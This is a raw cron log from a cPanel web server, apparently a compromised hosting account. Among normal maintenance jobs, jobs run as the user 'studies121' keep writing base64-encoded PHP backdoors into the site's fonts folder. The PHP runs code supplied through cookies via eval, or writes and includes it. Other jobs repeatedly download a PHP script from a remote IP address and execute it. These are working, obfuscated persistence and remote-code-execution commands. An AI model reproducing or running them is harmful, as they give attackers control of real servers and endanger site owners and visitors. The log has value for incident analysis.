Sep 20 23:37:01 ip-184-168-122-23 CROND[26701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:38:01 ip-184-168-122-23 CROND[26791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:38:01 ip-184-168-122-23 CROND[26794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:38:01 ip-184-168-122-23 CROND[26795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:38:01 ip-184-168-122-23 CROND[26793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:38:01 ip-184-168-122-23 CROND[26796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:39:02 ip-184-168-122-23 CROND[26891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:39:02 ip-184-168-122-23 CROND[26893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:39:02 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:39:02 ip-184-168-122-23 CROND[26896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:39:02 ip-184-168-122-23 CROND[26897]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 23:40:01 ip-184-168-122-23 CROND[27000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:40:01 ip-184-168-122-23 CROND[27002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:40:01 ip-184-168-122-23 CROND[27008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:40:02 ip-184-168-122-23 CROND[27009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:40:02 ip-184-168-122-23 CROND[27010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:40:02 ip-184-168-122-23 CROND[27006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:40:02 ip-184-168-122-23 CROND[27012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:40:02 ip-184-168-122-23 CROND[27007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:41:01 ip-184-168-122-23 CROND[27193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:41:01 ip-184-168-122-23 CROND[27195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:41:01 ip-184-168-122-23 CROND[27196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:41:01 ip-184-168-122-23 CROND[27197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:42:01 ip-184-168-122-23 CROND[27279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:42:01 ip-184-168-122-23 CROND[27282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:42:01 ip-184-168-122-23 CROND[27280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:42:01 ip-184-168-122-23 CROND[27281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:42:01 ip-184-168-122-23 CROND[27283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:43:01 ip-184-168-122-23 CROND[27363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:43:01 ip-184-168-122-23 CROND[27362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:43:01 ip-184-168-122-23 CROND[27365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:43:01 ip-184-168-122-23 CROND[27364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:44:01 ip-184-168-122-23 CROND[27454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:44:01 ip-184-168-122-23 CROND[27456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:44:01 ip-184-168-122-23 CROND[27459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:44:01 ip-184-168-122-23 CROND[27457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:44:01 ip-184-168-122-23 CROND[27458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:45:01 ip-184-168-122-23 CROND[27545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:45:02 ip-184-168-122-23 CROND[27547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:45:02 ip-184-168-122-23 CROND[27548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:45:02 ip-184-168-122-23 CROND[27549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:45:02 ip-184-168-122-23 CROND[27552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:45:02 ip-184-168-122-23 CROND[27553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:46:01 ip-184-168-122-23 CROND[27734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:46:01 ip-184-168-122-23 CROND[27736]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 23:46:01 ip-184-168-122-23 CROND[27737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:46:01 ip-184-168-122-23 CROND[27738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:46:01 ip-184-168-122-23 CROND[27739]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 23:46:01 ip-184-168-122-23 CROND[27740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:46:01 ip-184-168-122-23 CROND[27741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:47:01 ip-184-168-122-23 CROND[27849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:47:01 ip-184-168-122-23 CROND[27850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:47:01 ip-184-168-122-23 CROND[27851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:47:01 ip-184-168-122-23 CROND[27852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:48:01 ip-184-168-122-23 CROND[27929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:48:01 ip-184-168-122-23 CROND[27932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:48:01 ip-184-168-122-23 CROND[27931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:48:01 ip-184-168-122-23 CROND[27930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:48:01 ip-184-168-122-23 CROND[27933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:49:01 ip-184-168-122-23 CROND[28023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:49:01 ip-184-168-122-23 CROND[28026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:49:01 ip-184-168-122-23 CROND[28024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:49:01 ip-184-168-122-23 CROND[28025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
